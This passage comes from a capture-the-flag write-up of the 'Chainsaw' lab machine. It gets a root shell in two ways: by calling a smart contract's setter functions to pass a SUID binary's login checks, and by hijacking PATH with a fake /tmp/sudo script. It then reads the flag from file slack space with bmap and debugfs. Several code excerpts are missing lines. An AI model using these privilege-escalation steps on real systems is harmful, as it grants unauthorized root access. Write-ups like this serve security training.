      username = '';
      password = '';
      userBalance = 0;
      totalSupply = 1000;
      approve = false;

The password field looks like an MD5 hash. I’ll try hashing my password:

root@kali# echo -n 0xdf | md5sum
465e929fc1e0853025faad58fc8cb47d  -

And submitting that:

>>> contract.functions.setPassword('465e929fc1e0853025faad58fc8cb47d').transact()

Now when I try to log in, I get a different error:

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: 0xdf
[*] User is not approved!

There are getApprove and setApprove functions in the .sol file. I’ll try getApprove (using .call() since it’s a get function):

>>> contract.functions.getApprove().call()

Now setApprove:

>>> contract.functions.setApprove(True).transact()

And I’m approved:

>>> contract.functions.getApprove().call()

Now I can log in, but a new error:

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: 0xdf
[*] Not enough funds!

Since I see that the total supply is 1000, I’ll transfer all of it:

>>> contract.functions.transfer(1000).transact()

Now when I log in, I get a root shell:

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: 0xdf

         * Welcome to the club! *

 Rule #1: Do not get excited too fast.
root@chainsaw:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)

Path 2: Exploit Path

The shortcut here is to exploit the fact that the binary makes a call to sudo without specifying the path. I can see this if I run ltrace:

bobby@chainsaw:~/projects/ChainsawClub$ ltrace ./ChainsawClub 
setuid(0)= -1
system("sudo -i -u root /root/ChainsawCl"...[sudo] password for bobby: 

system is passed sudo without a path, so it will use the current path, which I can modify. I’ll open this binary up in Beyond Root and see what it’s doing.

I’ll add /tmp to the front of the path:

bobby@chainsaw:~/projects/ChainsawClub$ export PATH=/tmp:$PATH

Now, I’ll drop a script to run bash into /tmp/sudo, and get root:

bobby@chainsaw:~/projects/ChainsawClub$ echo -e '#!/bin/bash\n\n/bin/bash' > /tmp/sudo
bobby@chainsaw:~/projects/ChainsawClub$ chmod +x /tmp/sudo
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 
root@chainsaw:~/projects/ChainsawClub# id
uid=0(root) gid=1000(bobby) groups=1000(bobby),30(dip)

Find Flag

No Flag Yet

The intended path did give a warning: “Rule #1: Do not get excited too fast.” With a shell as root, root.txt is not the flag:

root@chainsaw:/root# cat root.txt
Mine deeper to get rewarded with root coin (RTC)...

Slack Space


I eventually had to ask for a hint from a friend here, who told me that notice that bmap was on the box. Ippsec just tipped me to how he found it, which is cool, so I’ll share here.

Basically, files in /sbin are programs managed by the Apt Package manager. If a file is in there and not keep updated by the package manager, that’s odd, and worth investigating.

I can search what’s managed by apt using dpkg --search. For example, I’ll take the first program in /sbin on Chainsaw, acpi_available:

root@chainsaw:~/projects/ChainsawClub# ls /sbin/ | head -1

If I run dpkg, I can see the files associated with it:

root@chainsaw:~/projects/ChainsawClub# dpkg --search acpi_available
powermgmt-base: /sbin/acpi_available
powermgmt-base: /usr/share/man/man1/acpi_available.1.gz

If I run that same command on a non-apt binary, like ChainsawClub, there’s an error:

root@chainsaw:~/projects/ChainsawClub# dpkg --search ChainsawClub
dpkg-query: no path found matching pattern *ChainsawClub*

And I’ll note the good output goes to stdout, and the error goes to stderr.

So I’ll loop over all the files in /sbin, and look for any that throw an error, using 1>/dev/null to ignore all the output when a file is found:

root@chainsaw:~/projects/ChainsawClub# for file in $(ls /sbin/*); do dpkg --search $file 1>/dev/null; done
dpkg-query: no path found matching pattern /sbin/bmap

The suspect binary is bmap. bmap is a tool for reading/writing to file slack space. The fact that this is on the box is worth exploring.

I’ll show both how to read the slack space with bmap, and how to manually do it.


And it turns out that root.txt has information in its slack space:

root@chainsaw:/root# touch /tmp/0xdf
root@chainsaw:/root# bmap --mode checkslack /tmp/0xdf
/tmp/0xdf does not have slack
root@chainsaw:/root# bmap --mode checkslack root.txt 
root.txt has slack

I can dump it and get the flag:

root@chainsaw:/root# bmap --mode slack root.txt      
getting from block 2655304
file size was: 52
slack size: 4044
block size: 4096


Alternatively, I could read the slack space around root.txt by finding the block, and reading that information off the raw device. I’ll first check which device contains the filesystem with df:

root@chainsaw:/root# df
Filesystem     1K-blocks    Used Available Use% Mounted on
udev              989188       0    989188   0% /dev
tmpfs             204148    1104    203044   1% /run
/dev/sda2       15413192 5835908   8774624  40% /
tmpfs            1020728       4   1020724   1% /dev/shm
tmpfs               5120       0      5120   0% /run/lock
tmpfs            1020728       0   1020728   0% /sys/fs/cgroup
/dev/loop0         90624   90624         0 100% /snap/core/6964
/dev/loop1         91648   91648         0 100% /snap/core/6034
/dev/loop2         91648   91648         0 100% /snap/core/6130
/dev/loop3         53376   53376         0 100% /snap/lxd/9919
/dev/loop4         53248   53248         0 100% /snap/lxd/9886
/dev/loop5         11520   11520         0 100% /snap/ipfs/870
/dev/loop6         11776   11776         0 100% /snap/ipfs/1167
/dev/loop7         55552   55552         0 100% /snap/lxd/10756
tmpfs             204144       0    204144   0% /run/user/1000

/dev/sda2 is the disk I want. Now I’ll use debugfs to get the block for root.txt:

root@chainsaw:/root# debugfs -R "blocks /root/root.txt" /dev/sda2
debugfs 1.44.4 (18-Aug-2018)

Now I can read that however I want. I’ll use python:

root@chainsaw:/root# python
Python 2.7.15+ (default, Oct  2 2018, 22:12:08) 
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.              
>>> f = open("/dev/sda2", "rb")
'Mine deeper to get rewarded with root coin (RTC)...\n68c874b7************************\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> f.close()

I open the device, and then seek into it the number of blocks times the block size. I can read the file and slack from there.

Beyond Root

ChainsawClub Binary

I saw with ltrace that the ChainsawClub ELF was making a call to system to run another binary in the root home directory as root using sudo. bobby isn’t in able to run this sudo, but since ChainsawClub is SUID and owned by root, it can run sudo as root.

When I open this up in IDA, I can see how simple main is:


I can basically guess at the C source:

#include <stdlib.h>
#include <unistd.h>

int main(void) {
    system("sudo -i -u root /root/ChainsawClub/dist/ChainsawClub/ChainsawClub");
    return 0;

In fact, if I open Ghidra, it gives me basically that same thing:


I suspect the box author wanted us to be able to run this binary as root without being able to get a copy to reverse.

root’s ChainsawClub


In /root, there’s a ChainsawClub dir:

root@chainsaw:~# ls
ChainsawClub  root.txt  snap

This directory has a Python script, as well as a .spec and a few directories:

root@chainsaw:~/ChainsawClub# ls
build  ChainsawClub.spec  dist  __pycache__

This directory structure indicates PyInstaller, a tool used to create executable binaries from Python code. It’s much more commonly used with Windows binaries, as Python is less common there. But it can be used to create ELFs as well.


I’ll walk through this Python script, since I have the background to understand it at this point. The overall structure looks like:

# -*- coding: utf-8 -*-
from web3 import Web3
from sys import exit
import os, time, json
import getpass, hashlib

CPURP = '\033[95m'
CGREEN = '\033[92m'
CRED = '\033[91m'
CEND = '\033[0m'

def load_contract():
def outer_banner():
def inner_banner():
if __name__ == "__main__":

out_banner() just prints the banner on starting. So next it calls load_contract(), which matches what I saw when trying to login. First, it does the same web3 stuff to connect, though there’s an interesting bit where it tries to read out of address.txt, and on failure, it gets the address over Web3:

def load_contract():
    while True:
        with open('/home/bobby/projects/ChainsawClub/ChainsawClub.json') as f:
            contractData = json.load(f)

            w3 = Web3(Web3.HTTPProvider(''))
            w3.eth.defaultAccount = w3.eth.accounts[0]
            print("Failed to establish a connection with Ganache! Exiting...")

        Url = w3.eth.contract(abi=contractData['abi'],

            caddress = open("/home/bobby/projects/ChainsawClub/address.txt",'r').read()
            caddress = caddress.replace('\n', '')
            with open('/home/bobby/projects/ChainsawClub/address.txt', 'w') as f:
                tx_hash = \
                    Url.constructor().transact({'from': w3.eth.accounts[0]})
                tx_receipt = w3.eth.waitForTransactionReceipt(tx_hash)
                caddress = tx_receipt.contractAddress

        # Contract instance
        contractInstance = w3.eth.contract(address=caddress,

That is consistent with what I saw where address.txt wasn’t there, but then it was after running the binary.

Next it reads user and pwd from the terminal, and then gets username and password from Web3:

            user = input("Username: ")
            pwd = getpass.getpass("Password: ")
        except KeyboardInterrupt:

        # Calling the function of contract
        username = contractInstance.functions.getUsername().call()
        password = contractInstance.functions.getPassword().call()

Now there’s a series of checks, just like I experienced, checking that the entered username and password match the ones from the contract, that the user is approved, and that the balance is 1000:

        if username.strip() or password.strip():
            p = hashlib.md5()
            if username == user and password == p.hexdigest():
                approve = contractInstance.functions.getApprove().call()
                if approve == True:
                    balance = contractInstance.functions.getBalance().call()
                    if balance == 1000:
                        os.system("cd /home/bobby/projects/ChainsawClub && /bin/bash")
                        print ("{}[*]{} Not enough funds!".format(CRED,CEND))
                    print ("{}[*]{} User is not approved!".format(CRED,CEND))
                print ("{}[*]{} Wrong credentials!".format(CRED,CEND))
            print ("{}[*]{} Blank credentials are not allowed!".format(CRED,CEND))

        except KeyboardInterrupt:

If all the if statements work out, it prints inner_banner(), and then runs os.system("cd /home/bobby/projects/ChainsawClub && /bin/bash"), providing the root shell.

This contract only allows one username / password at a time, and I suspect it was kind of a pain if you happened to be working this at the same time as someone else.